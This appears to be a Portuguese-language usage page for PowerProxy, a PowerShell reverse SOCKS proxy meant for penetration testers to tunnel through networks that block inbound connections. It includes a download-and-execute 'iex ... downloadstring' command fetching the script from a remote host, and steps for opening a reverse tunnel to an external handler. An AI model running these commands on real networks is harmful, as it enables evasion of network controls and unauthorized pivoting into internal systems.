
Proxy SOCKS em PowerShell com capacidades de proxy reverso
Proxy SOCKS PowerShell com capacidades de proxy reverso.
PowerProxy é escrito pensando em testadores de penetração. A funcionalidade de proxy reverso é uma prioridade, para atravessar redes que bloqueiam conexões de entrada. As conexões de proxy reverso são criptografadas por padrão. A autenticação de nome de usuário/senha é suportada para conexões Socks 5.
Importe o script:
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# OR
Import-Module \\192.168.0.22\Public\PowerProxy.ps1
reverse_proxy_handler.py pode criar certificados SSL temporários, o que requer OpenSSL. Se o OpenSSL não estiver instalado na sua máquina (está na maioria dos sistemas baseados em Linux/Unix), forneça seu próprio certificado ou use a opção --no-encrypt.
Para uso detalhado, consulte a ajuda do PowerProxy ou use ./reverse_proxy_handler.py --help
Na máquina local, inicie o handler:
# Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080
No PowerShell:
Start-ReverseSocksProxy 172.1.1.20 -Port 8080
Os clientes proxy podem tratar o servidor criado pelo reverse_proxy_handler.py como se fosse o servidor SOCKS real:
curl --socks4 127.0.0.1:1080 http://10.10.2.69/
Start-SocksProxy 172.10.2.20 -Port 9050
Use objetos PSCredential para exigir um nome de usuário e senha:
# Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)
Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose